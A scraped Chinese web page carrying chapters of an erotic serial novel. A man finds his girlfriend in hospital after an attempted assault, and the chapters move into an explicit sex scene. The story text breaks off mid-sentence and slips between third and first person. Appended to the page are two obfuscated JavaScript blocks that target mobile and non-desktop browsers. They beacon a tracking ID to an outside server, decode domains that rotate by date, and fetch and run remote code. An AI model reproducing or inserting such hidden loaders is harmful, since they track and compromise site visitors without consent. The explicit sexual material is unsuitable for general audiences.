找了近半个小时,车也开出了好几公里路,还是没有看到云姐,此时已经是午夜时分了,杨鹏飞的心情也是越来越急,恨不能将这跑车变成直升飞机,飞到天上去居高临下的搜索一番。

这时,卫露曼也看出了杨鹏飞的焦灼不安,于是也收起了她的嬉皮笑脸,安慰他道:“你也别太着急了,说不定你女朋友现在已经回酒店了,我去打电话到酒店问问。”

卫露曼刚掏出手机准备给酒店打电话,杨鹏飞的手机响了,杨鹏飞拿起一看,是一个陌生的手机号码,“喂,你好,哪位?”

“你是杨鹏飞吗?”对方是一个陌生男人的声音。

杨鹏飞觉得有点奇怪,但他隐隐感觉到这个电话可能与云姐有关,于是忙说:“是我,你是?”

“我是市公安局的,钱彩云你认识吧?”

“认识认识,她是我女朋友?她怎么了?她现在在哪?”杨鹏飞心情一激动,一连问了好几个问题。

“你先别激动,也别紧张,她现在在医院,你赶紧来一下吧,详细情况等你来了再说。哦,对了,是市第一人民医院。”说完,那个警察就挂了电话。

“什么事?是不是你女朋友有消息啦?”卫露曼也比较兴奋得问。

“快告诉我,市第一人民医院怎么走?”杨鹏飞焦急道。

“什么?市第一人民医院?”卫露曼诧异得问,“难道你女朋友她……”

“别问那么多了,快告诉我怎么走?”

“哦,哦,一直朝前看,在下个路口向左拐……”卫露曼知道他的心情,也就不再多问什么了,认真得指起路来。

在卫露曼的指引下,杨鹏飞所开的车在他极度惶惑不安中狂驰,一路上连闯好几个红灯,但杨鹏飞却丝毫不在意,他只觉得前面是一片光亮的马路,车窗外是冷清的街道,空气中飘浮着朦胧的水雾,水雾里黄色的街灯撑着无边疲惫惺忪的睡眼,反光镜里颤动着城市高楼模煳的轮廓。

卫露曼见他这样开车,不由心中暗暗叫苦,暗想:“这要是被电子警察拍到了,罚款还是小事,要是分数被扣光了,我这驾照就算是报销了。”想是这么想,但她也知道杨鹏飞的急迫心情,所以也没有出言阻止,任由他疯似的一路狂奔。

医院的夜晚。显得落寞而凄凉。

通过问询处,查出云姐的病房是505。杨鹏飞跑上去,喘着气站在门外,杨鹏飞听到自己的心突突乱跳。杨鹏飞颤抖的手拧动门的把手,轻轻地推开门,杨鹏飞看见了躺在病床上的云姐,脸色憔悴而苍白。

一个警察坐在床边的凳子上,一手拿着笔,一手拿着本子,似乎在记录着什么。杨鹏飞蹑着脚向他们走去,这时,云姐抬头看到了杨鹏飞,便急忙想要坐起来。杨鹏飞赶紧上前几步,一把将云姐搂在怀里,焦急得问:“云姐,你怎么了,出什么事了,你受伤啦?”

“你夜里上哪儿去了?”云姐扑在杨鹏飞怀里哭着说。

“对不起,晚上酒喝多了,就出去逛了逛,没来得及和你打招唿。”杨鹏飞这时也不忘记撒上一谎。

“那你也不应该关手机啊?”

“喝地头晕乎乎的了,那知道啊,到底是怎么会事儿?”

“她被几个小流氓给骚扰了。”这时,坐在一旁的那个警察说话了。

“啊!”杨鹏飞心里一颤,“怎么会这样?”杨鹏飞的心缩得很紧。

“你不用担心,那几个小流氓正要对这位小姐不利的时候,我们及时赶到了,把那几个小流氓全部抓获。刚才医生也给这位小姐做了全面检查,没什么大事,就是受了一点惊吓,过一晚就没事了。”警察站起身合上记录本道。

“真是太谢谢你们了?”杨鹏飞走到警察跟前握住他的手说。

“不用谢,这是我们应该做的。”警察公式化的说。

之后杨鹏飞又走到云姐的床前,搂住云姐,他看到云姐脸上的疲惫和倦意。杨鹏飞的心中有股隐隐的愧疚和疼痛,他懊恨自己,同时感到一阵阵的良心谴责,自责自己没有尽到一个男人的责任,当云姐需要自己的时候,自己却在风流快活。

“好了,这口供已经差不多了,我也该回局里了,你们聊吧”警察望着杨鹏飞对他说。

“好,我送你!”

杨鹏飞把警察送到了电梯口,然后他又回到了云姐的病房,在病房门口,他看见卫露曼还站在那里。“时间不早了,你快回去吧。哦,还有,今晚真是谢谢你啊!”杨鹏飞小声道。

“呵呵,谢我?谢我什么?”卫露曼顽皮一笑说。

这要是在平时,杨鹏飞肯定会和她打情骂俏几句,但现在他实在是没有这个心情,只是勉强一笑道:“谢你借车给我啊,好了,明天我请你吃饭,你现在快回去吧。”

“那她没事吧?”卫露曼眼睛看了看病房里面说。

“没事,被几个小流氓骚扰,受了点惊吓。”杨鹏飞简单扼要的说了一下。

“没事就好,那我就先走了。明天再来看她。”

“好的,拜拜!”

杨鹏飞坐在云姐的床边,望着她那憔悴而苍白的脸颊,感觉陌生了许多,她看上去好象有些清瘦了。杨鹏飞情不自禁地去握她的手,却低头瞥见她的手腕上戴着一条玉珠手链,过去从来没见她戴过。杨鹏飞总觉得玉是有灵性的,通透晶莹,美丽无比。好象就有那么一种玉叫做《祖母绿》的,名字听着就活色生香。

祖母永远是温文而纤弱的样子,让人觉得心里暖暖的。那种绿并不是绿得葱翠,而是绿已沉淀显得淳厚。那一串绿玉珠子是用朴素的红线串起来的,底子里是那样的柔软温厚。杨鹏飞不由地双手捧着云姐的手腕,在玉珠上细细抚摸起来。

当杨鹏飞将云姐的手贴在自己的脸颊上感受那祖母绿的温润时,杨鹏飞朝云姐望去,只见云姐眼睛睁着大大的,长长的睫毛忽闪忽闪地摇动,眼睛里浸满了盈盈的泪水,怔怔地盯着自己。

“你怎么了?”杨鹏飞惊慌得问到。云姐没有说话,只见那满眼的泪水夺眶而出,顿时就泪流满面。

“不哭,哦,这样会伤身体的。”杨鹏飞边说边拿出纸巾为她拭泪。

云姐突然双手紧紧地攥住杨鹏飞的胳膊压在自己的胸口上,哽咽地说道:“今晚差点被那帮禽兽给侮辱了。”说完更是痛哭流涕了。

杨鹏飞了解云姐,她是一个绝不会和别的男人随便来往的女孩子,她那种柔弱的倔强和爱情的执着杨鹏飞是很清楚的。云姐在杨鹏飞的心目中一直是个冰清玉洁的女子,她让杨鹏飞相信这个世界上还有忠贞不逾的爱情。如今,这个对爱情忠贞不逾女子遭受了这样的羞辱,她怎能不悲愤?怎能不伤心?虽然最后的清白是保住了,但这其中所遭受的羞辱又是怎能忘得了的呢?想到这,杨鹏飞的眼睛也不由湿润了。

“别哭了,事情都已经过去了,而且那几个禽兽也已经抓住了,他们会受到应有的惩罚。”杨鹏飞轻拍云姐的后背说。

“你说,假如今晚我被那几个禽兽侮辱了,那……那你还会要我吗?”云姐抬起她的脸,泪眼朦胧得问到。

“傻瓜!”杨鹏飞搂紧云姐说,“不管你身上发生什么或者你变成什么模样,我都会要你,而且一生一世,除非……”

“除非什么?”云姐急急得问。

“除非你不要我啊。”杨鹏飞露出他那自以为会迷死人的微笑说。

“讨厌!”云姐破涕为笑道,“我怎么会不要你啊?”

“咦,我怎么从来没见你戴过这条手链?” 杨鹏飞握着云姐的手问。

“这条链子就是我妈送给我的,刚才来这里时我特意把它戴上,我想它能为我带来好运。我妈的一生可苦了!”云姐用手背抹去脸颊上的泪水,声音低沉而忧郁。

云姐提起她妈,杨鹏飞也不禁也想起自己的妈。天下的母亲都是这样的吧?她生养了自己的孩子,对孩子寄予最多的希望,也希望自己能把世界上最好的东西都带给这个孩子,但是,这个孩子长大了,有了他自己的生活和选择,有了他自己的需求和判断,然后,这个曾经在他们手中小玩具似的孩子像一辆失控的列车一样飞驰出去,到达一个他们根本不能想象的地方,可能是天堂,也可能不是。他们除了看着、疼着、祝福着、遗憾着,还能做什么呢?

每一个母亲都希望自己的孩子能过上幸福理想的生活,理想的生活该是怎样?理想的婚姻和爱情又该是怎样?当然,毫无疑问,理想的爱情该是牵手走上红地毯,然后相濡以沫,共度人生。大概这就是所谓的“执子之手,与子携老”吧?可是在现实中,又有多少爱情会有如此美满的结局呢?否则怎么会有“执手相看泪眼,竟无语凝噎”呢?面对无奈的人生和现实,又有几人能做到“执子之手,死生契阔”,抛开一切去爱一场呢?所以,即使是‘白头如新’也是你白头陪伴的宿命。即使是“倾盖如故”只能是倾盖的缘分!

所以,在这漫漫人生旅途上,一个人需要足够的勇气和智慧,因为你应该知道,等待我们的不只是欢乐、幸福,而更多的是风雨、是泥泞、是坎坷、是伤痛,你经的风雨太少,遇到的坎坷也不多,或许这一次,对你是一件好事,解除了你心中的牵绊,思想会开朗一些。

这时,漆黑的夜里,窗外少了那往日的喧闹和杂乱的脚步。只间或掠过一阵阵的凉风,使人涌上一丝不合时宜的冷意。

杨鹏飞看到云姐抱着一个厚厚的枕头,把自己深深地陷进床的中间,任黑黑的长发掩埋了苍白的脸,似乎在这凄凉的夜里独自蜷缩在温馨的回忆里。夜色伴随着冰冷的寂寞的感觉从四周无声无息地包围过来,将他们淹没。

杨鹏飞情不自禁的回来低头吻住云姐。脑海里闪过熟悉的感觉,仿佛从前便是这样的吻着她!一种强烈的震撼穿透着彼此,一种从未有过的感觉充满杨鹏飞的心扉。而云姐也热情得回吻着,一股从心底发出来的笑意洋溢在她的脸上。

云姐其实身体上没受什么伤害,只是受了一些惊吓,精神和心理上受了一点伤害。在杨鹏飞一整夜的抚慰下,云姐的心渐渐得到了平复。第二天一早,他们就办了出院手续。这时,于洁也得到了消息,急匆匆得赶到了医院,正巧碰上杨鹏飞牵着云姐的手走出了医院大门。

“怎么样?小云,你没事吧?”于洁一见到他们两个就迫不及待得问。

“谢谢于总关心,我没什么事。”云姐本来对于洁的感觉并不怎么好,现在见她这么关心自己,心下也不由有些感动,对她的印象也顿时好了许多。

“你是怎么搞的?深更半夜让小云一个人出门,这次幸亏没出什么大事,要是出了什么事,我看你去哪买后悔药吃。”于洁毫不留情得数落着杨鹏飞。

杨鹏飞知道自己理亏,所以也不敢再说什么,默默得听着于洁的数落,心里却在想:“于洁她是怎么知道这个消息啊?对了,肯定是卫露曼告诉她的,啊!卫露曼不会把我昨晚一起跟着她去了那家小咖啡馆的事也告诉了她吧?要是告诉她了,那于洁就知道我昨晚暗中跟踪她了,那我就惨啦。不过从现在于洁的表情来看,卫露曼应该没有把那件事告诉她。嗯,对,应该没告诉于洁,因为我和卫露曼说过,我和于洁是情人关系且于洁不愿向别人透露我们之间的关系,那卫露曼自然不会主动想于洁提起昨晚在小咖啡馆碰到我的事情啦。”想到这,杨鹏飞那颗悬着的心算是放下了。

“好了,我准备到五宇公司和孔老板一起去大江工业园实地看看他们那个项目,你就不用去了,好好陪陪小云吧,给,这是小曼车的钥匙,我就开她的车过来的,你开车把小云送回酒店吧,我自己打车过去。”

“于总,那怎么好意思呢?你还是你开吧,我们打车回去。”云姐不好意思推辞道。

“是啊,于总,车还是你开吧。咦,昨晚那个孔老板不是说要开车过来接你吗?怎么没来啊?反而还要你亲自去一趟。”杨鹏飞不解道。

于洁白了他一眼道:“还不是你惹出来的事,今天一早我听小曼说小云出了事,于是我就开了她的车过来了,没等孔老板了,刚才我已经打电话给他了,叫他不要过来了,我自己过去。好了,话就别多说了,这个给你。”说完,于洁就将车钥匙抛给杨鹏飞,然后随手拦了一辆出租车,飞驰而去。

“于总这个人真不错。”云姐上车后说。

“是啊,她确实不错,但是命却不好啊。”杨鹏飞一边发动汽车一边说。

“哦?命不好?这话怎么说?她这么有钱有貌,而且还很有才干,怎么会命不好呢?”云姐对于洁的事可以说一无所知,所以听杨鹏飞这么说,不用勾起她的好奇心来。

“我是说她的感情生活。”

“哦?难道她和她的老公感情不好?”

“不是感情不好,而是感情太好了,所以才守寡至今。”

“啊!守寡?寡妇?”云姐显然吃惊不小。

“上次我去她家时看到过她老公以前的照片,长地还挺英俊,只可惜,命不长久,只留下了一个女儿,名叫晴雨,和她相依为命。至于一些具体情况,她没说,我也不好追问。”

“唉,红颜薄命,自古向来如此。”云姐轻叹一声就躺在座椅上,再也没说话了。杨鹏飞知道她又联想到了自己,也不敢再接这个话题了。就这样,两人一路无语回到了酒店。

整整一天,杨鹏飞是哪也没去,一直陪在云姐的身边,他们除了下去到餐厅吃饭外其余时间都呆在房间里聊天,看电视。杨鹏飞觉得也只有这样才能稍微弥补一下云姐昨晚所受到的伤害。而这一整天,杨鹏飞也没见到于洁,于洁也没有到他的房间来。

夜阑人静,云姐洗完澡出来,坐在镜子前梳理她的头发,她那乌黑的秀发在灯光下闪烁着光泽,娇美而丰满的身躯披着一件崭新的丝质睡衣。那睡衣下挺立着巍巍颤动的双球,随着她的身影幻出美丽的波影。杨鹏飞静静地欣赏着她那轻巧的动作,屋里弥漫着她那成熟而醉人的芳香,而且似乎越来越浓愈。

“你洗去吧。”云姐整理着头发,扭头对杨鹏飞说,只见她的脸上飘着一抹动人的红霞。

第064章有点痛

“哎。”杨鹏飞答应了一句,便去了浴室。

杨鹏飞把水龙头开到最大,任那温热的水流在他的身上肆意的浇洒,杨鹏飞使劲地将头发用双手往后捋去,仿佛这样可以把一切烦心事都忘记。有人说,人生在世本来就是一件无可奈何的事,只要忍一忍,就不会有爱、有恨、有痛苦了。

也许是这样。人生的等待已经载不住梦的牵挂,思念的藤也不再长出绿的渴望,长长的蔓更是日渐枯萎憔悴。满目的沧桑,满眼的离愁,都化作这溅起的水花,无声地滑落、飘散……

杨鹏飞回到卧室的时候,云姐已经把床铺铺好了,被子整齐的铺叠在床上,她盘腿坐在床上。似乎显得有些腼腆,坐在那里只是低着头,不说话。她的样子显得有些紧张,她两只手的手指正不自觉的交插在一起,由于用力太大的缘故,手指间的回血显的不很流畅,使得手指的颜色有些发白。

“睡吧。”杨鹏飞说着就爬上了床。

“嗯!”云姐深情地望着杨鹏飞。

于是云姐掀起里面的那个被窝挪动着身体。杨鹏飞盯着她,看着她慢慢的撩开被头,可以说,她完全是那种可爱型的女孩,她不花枝招展,不卖弄风情,她,清丽,可爱,纯净,似乎清纯到了极点,使杨鹏飞不忍心去碰她。她每一个动作,杨鹏飞的心就悸动一下;她好象是只天鹅,雪白的,杨鹏飞看着云姐,望着她。云姐注意到了杨鹏飞,转过头,也望着他,就这样,两人四目对视,杨鹏飞这时从她的眼睛中读出了些希望,那是一种曙光,对新环境充满希望的曙光!不过,在这种场面,有些尴尬。所以,杨鹏飞有些怯弱地再次选择了逃避。回过头,心里也有些紧张,杨鹏飞也不知道此时的感觉是幸福还是忧虑,心中忐忑不安的,完完全全的控制不了自己。

或许这点被云姐看出来了,她笑了笑,对他说:“快睡吧,还耗着干吗?”

那声音,通过耳膜,通过听神经,传到了大脑中,却不知为何,悸动着杨鹏飞的心,总的来说,那是个“甜”字。甜的杨鹏飞真不知怎么做才好。他振了振精神,转向云姐,云姐很轻盈的笑了笑。

云姐那种很专注、很深邃的眼光,让杨鹏飞感动。她的皮肤是那么洁白、明澈、光亮;很有韵味,与皮肤相对应的,是她的秀发,黑色的发质,黑的有光,黑的健康,如瀑布般自然的垂落着。在脸上,最独特而且也是最吸引杨鹏飞的,就是云姐那双水汪汪的大眼睛,现在她的眼睛满含着柔情!真的,在那柔情的眼睛中,流露出了幸福,流露出了光明,流露出了希望。

有了这双眼睛,云姐显得更加诱人,那眼神仿佛要带领你走进她的内心世界,也更加为她增加了一份神秘感。使人突然觉得走过这漆黑的深夜,明天肯定将会是一个温馨明媚的日子!

“鹏飞!”云姐忽然开口叫杨鹏飞。杨鹏飞吃了一惊,抬头一看,见她翻了个身,脸朝着自己。

“我睡不着!”云姐说,“你呢?”

“是不是还觉得有点难过?”杨鹏飞关切得问。

“不是”云姐说,“是激动,是有些激动。”

“激动?激动什么啊?”杨鹏飞看着云姐那潮红的脸问。

“你傻子啊!”云姐露出两排可爱的牙齿,可爱极了。

“呵呵,我发现我现在是挺傻的。”杨鹏飞笑呵呵得说。

“你傻?你要是傻,那天下没有聪明的人啦!”云姐飞快地说。

杨鹏飞先是“嘿嘿”地笑了,然后说:“你真的认为我很聪明?”

“对呀,你不但聪明,而且还什么都懂。”

“那哪儿叫懂啊?都是瞎白话。”

“你给我讲个故事吧,我挺喜欢你讲的故事,反正现在我们也睡不着。”云姐的语气好象很好奇。

“故事,还是笑话?”杨鹏飞问。

“什么都行啊!”云姐趴在床上手托着腮说。

“得了,都是些带色儿的,你想听吗?”杨鹏飞本来不太想讲,觉得太唐突了。

“说吧,没事儿,听别人说夫妻之间说点成人笑话,还可以增加点情趣。” 云姐说。

“好吧!”杨鹏飞想了想,决定找些不太恶心的,“那给你猜个谜语吧,这你一定行。

“那到不一定,你说吧。”

“掀开热被窝,就往腿上摸,分开两条腿,就往眼上搁。打一日常动作。”

杨鹏飞说完云姐就吃吃地笑起来。

“猜呀!”杨鹏飞说,“你别往歪里猜,提醒你一下这动作是于总常做,我们几乎不做。猜吧!”云姐一听杨鹏飞说于总常做,先是一楞,接着更是吃吃地笑个不停,杨鹏飞也笑了,云姐边笑边说:“猜不着,你说谜底吧!”

“戴眼镜啊!怎么样? 你想歪了吧!我们不需要戴,可于总一天得戴好几回。”杨鹏飞忍不住笑了起来 。云姐笑得更厉害,半天后换了口气说:“嗯,有点意思,还有吗?”

杨鹏飞没想到云姐还想听,又说:“也是谜语,还打一日常动作,先提示,你刚才还做过,‘一头有毛一头光,出出进进冒白浆’,猜吧!”云姐一听就咯咯笑了,说:“没听清,你再说一遍!”杨鹏飞很清楚的重复一遍后说:“好好想想,刚才你还做过!”

云姐笑的快要喘不过气来,好半天才说:“猜不着!”

“你刚才去浴室干嘛了?一件件数。”杨鹏飞卖着关子。

“我没干什么呀,就是洗澡,然后刷牙……噢,我明白了,哈哈哈,逗死了!”说完又一阵大笑。

“还有吗?”云姐笑着说。

杨鹏飞干脆翻身头趴在枕头上,对云姐说:“还说啊?我这些已经让我们公司的人兴奋了一个多小时了,不过你比他们反应快,他们一个也没猜着。好吧,再来一个,‘新婚之夜’打‘水浒传’里头的人名儿”

这下云姐更猜不出来了,于是杨鹏飞就开导她说道:“新婚之夜要干什么呀,从这里想啊!”

“新婚之夜,嗯,入洞房啊,干什么?”云姐说。

“对啊,入洞房干什么啊!”杨鹏飞故意追着云姐不停地问。

“嗯……入洞房,……跟水浒有什么关系啊?”云姐还是不解,但语气中有些不好意思起来。杨鹏飞看她实在猜不出,就提示她,“什么史进,宋江什么的!”

云姐稍微琢磨了一下,捂着嘴笑起来,过了一会好奇地说:“都是什么呀,我猜不全,你别逗我了,快说!”

杨鹏飞就一个个名字慢慢讲给云姐听,云姐越笑越厉害,当杨鹏飞说到最后三个解珍、解宝、阮小二时,云姐笑得双手直撩被窝。好一会儿都停不下来,而且开始咳嗽了起来。杨鹏飞看云姐咳了许久都没停,赶紧爬过去对她说:“别笑了,别笑了!”然后伸手在云姐背上轻轻拍着,过了好一会儿,终于才停住。

云姐翻身仰面躺着,胸部挺立着在起伏不停,她的身上似乎轻轻拥围着一团团氤氲、迷蒙的气息,散发着一缕缕不绝,绵长的风韵。她带着微笑,噙着泪,也蕴含着快意。杨鹏飞知道爱实是为了让人的心灵百倍千倍地敏感,伸出感知的每一个触须去全身心地接受这世界的一切赐予:欢乐、痛楚、希望、躁动、忧伤、喜悦……

时间在不知不觉中消逝着,他们彼此间的距离感也在飞快的消失着。云姐把手伸给杨鹏飞,她的手在杨鹏飞的手心里,微微抖动着,眼睛里泛起了幸福的泪花。云姐不仅美丽动人,而且善良温婉。在她的温柔里,逐渐感受到了一种爱的情愫。

杨鹏飞一下子搂住了她,看她在自己的臂弯里幸福的样子。杨鹏飞感觉到一种雷击的震撼,短时间内自己的身体仿佛腾空而起,被飞速吸进时间隧道,逆向地旋转,飘摇,幽幽地坠落到往昔之地。

杨鹏飞开始疯狂地亲吻着云姐,云姐是那么的陶醉。杨鹏飞把她的睡衣全部脱去,在她高耸、柔软而富有弹性的双球上吮吸,抚摸和揉搓。他的手指轻轻的滑过云姐的肌肤直到她那已经淫液横流的小溪,跟随而来的是由云姐喉中倾出的呻吟声。

这时,杨鹏飞已感觉自己越来越亢奋,大口地喘着气,身体燥热,欲火高涨,浑身象要爆发。他爬到云姐的身上,云姐立刻双臂紧紧地抱住了杨鹏飞,杨鹏飞趴在云姐那饱满高挺的双球上,一种久违的愉悦油然而生。

云姐把双腿抬了起来,杨鹏飞的小兄弟已经到了她的穴口,当我稍稍的向后弯了弯身子,准备向前推进时,云姐就挺起臀部往上一顶,杨鹏飞的小兄弟就进入了她的体内。云姐的腔道非常的紧,那种温热、湿滑和裹包的感觉令人格外舒畅。

云姐的腔道已充满湿液,当杨鹏飞的小兄弟完全进入她的体内时。突然,云姐身体一抖,然后用手推了杨鹏飞一下。

“怎么了?”杨鹏飞身体往上抬,抽出来,用手支撑着。

“有点痛。”云姐眉头轻蹙。

第065章怎么还这么硬

“可能是心理原因吧。”杨鹏飞安慰她道。

“不知道,”云姐说着就往杨鹏飞的身体下面看去,突然惊奇地喊到:“天哪!”

“又怎么了?”杨鹏飞吓了一跳。

“怎么会那么大?”

我支撑不住了,趴在她的身上,说:“你好象没见过啊?”

“以前没有在意,也不敢细看,没想到你是这么大。”

“没事儿的,我会慢慢的,我不会弄痛你的!”

“不是因为这个……”云姐的神情变得阴郁。

杨鹏飞明白了,昨晚的事还是在云姐的心里留下了阴影。云姐没有说话,她那乌黑的眸子里含满忧郁,变的黯然。

杨鹏飞不由搂紧了她。听着她的唿吸,闻着她的体香。片刻,她叹了一口气,说:“你爱我吗?”

“爱!”杨鹏飞不加思索的回答。

“要真的爱呀!”她的眼睛闪着期盼的光芒,就像在等待着期盼已久的人出现。

“当然!”

然后她幽幽地说道:“你知道吗?前几天,我听我们同学 放大文字 缩小文字 这文很赞(0) 一般般啦(0) 收藏此文(0) 分享此文


上一篇:绿荫学院

下一篇:和大学拉拉队员的激情夏夜


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};